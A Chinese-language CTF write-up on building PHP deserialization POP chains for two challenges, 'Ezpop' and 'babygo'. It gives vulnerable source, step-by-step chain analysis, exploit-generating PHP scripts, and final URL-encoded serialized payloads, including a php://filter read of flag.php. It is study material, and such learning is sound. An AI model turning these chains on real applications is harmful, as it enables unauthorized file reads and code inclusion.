前言:

最近在刷题的时候发现这个PHP反序列化—POP链,之前理解的序列化攻击多是在魔术方法中出现一些利用的漏洞,自动调用从而触发漏洞。但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

直接通过题目来进行学习,这样更容易掌握!!!

Ezpop

class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

将涉及到的魔法函数先列出一下:

__construct   当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发

POP链的开始是Show类开始,到Modifier类结束,更准确的说应该是到​​__invoke()​​结束。分析流程如下:

  1. ​__wakeup()方法通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法;​
  2. ​__toString()访问了str的source属性,如果str是Test类,则不存在source属性,所以调用了Test类的__get()魔术方法;​
  3. ​__get()方法将对象p作为函数使用,p实例化为Modify类,就调用了Modifier的__invoke()方法;​
Modifier::__invoke()<--Test::__get()<--Show::__toString()

流程就是这样,一层一层的触发

#y1ng师傅的脚本,有些地方还是不太清楚之后再看看,慢慢理解
<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return "www.gem-love.com";
}
}

class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}

$o = new Show('aaa');
$o->str= new Test();#触发__get()方法,需要访问不存在的成员变量
$y1ng = new Show($o);
echo urlencode(serialize($y1ng));

安恒月赛babygo

<?php  
@error_reporting(1);
include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}

class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}

class sec
{
function read()
{
return "it's so sec~~";
}
}

if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
else
{
highlight_file("./index.php");
}
?>

分析流程:

  1. ​从baby类开始入手,当通过baby类new一个skyobj对象进行反序列化时,触发__construct(),$this->skyobj= new sec;这一句则触发__toString() ,从而得出的结果是 "it's so sec~~";​
  2. ​cool类中有read()函数,有file_get_contents函数,只要满足if($this->nice->aaa === $this->nice->bbb)就可以继续往下面执行,但发现了一个未知变量 $sth, $this->nice->aaa = $sth;这样的话aaa的值就不能确定了​
  3. ​关键代码在cool类的read方法中,但baby类中调用的却是sec类的read方法,所以这个时候就要用到POP链构造​

下面就来构造POP链,发现​​$this->nice = unserialize($this->amzing);​​,可以先构造到这个地方

class baby 
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool;//更改为cool类
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}

class cool
{
public $filename='flag.php';
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
$lemon = new baby();
echo urlencode(serialize($lemon));

这样​​amazing​​便是一个序列化后的baby类的对象

O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D

接下来就是如何绕过​​if条件​​和未知变量 ​​$sth​​的问题,可以通过使用指针来进行绕过

指针在运行时可以改变其所指向的值,而引用一旦和某个对象绑定后就不再改变

$a->bbb =&$a->aaa;
#通过指针,bbb会跟随aaa动态改变

接下来就来构造最终的EXP:

<?php
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool;//更改为cool类
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}

class cool
{
public $filename='./flag.php';
public $nice;
public $amzing='O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D
';
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
}
}

$a = new baby();
$a->bbb =&$a->aaa;
echo urlencode(serialize($a));

最终payload:

O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A245%3A%22O%253A4%253A%2522baby%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500skyobj%2522%253BO%253A4%253A%2522cool%2522%253A3%253A%257Bs%253A8%253A%2522filename%2522%253Bs%253A8%253A%2522flag.php%2522%253Bs%253A4%253A%2522nice%2522%253BN%253Bs%253A6%253A%2522amzing%2522%253BN%253B%257Ds%253A3%253A%2522aaa%2522%253BN%253Bs%253A3%253A%2522bbb%2522%253BN%253B%257D%0A%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D

PHP反序列化—构造POP链_反序列化

这里需要转换下思维,仔细想想之前所做的都是在绕过一些魔法函数之类的,构造POP链相当于给出了这些类,需要从这些类中关系串成一个新的代码,传入执行,现在是这样理解的,如有错误还请师傅们指出。

未完待续。。。等再遇到一些题目涉及到POP链再来补充!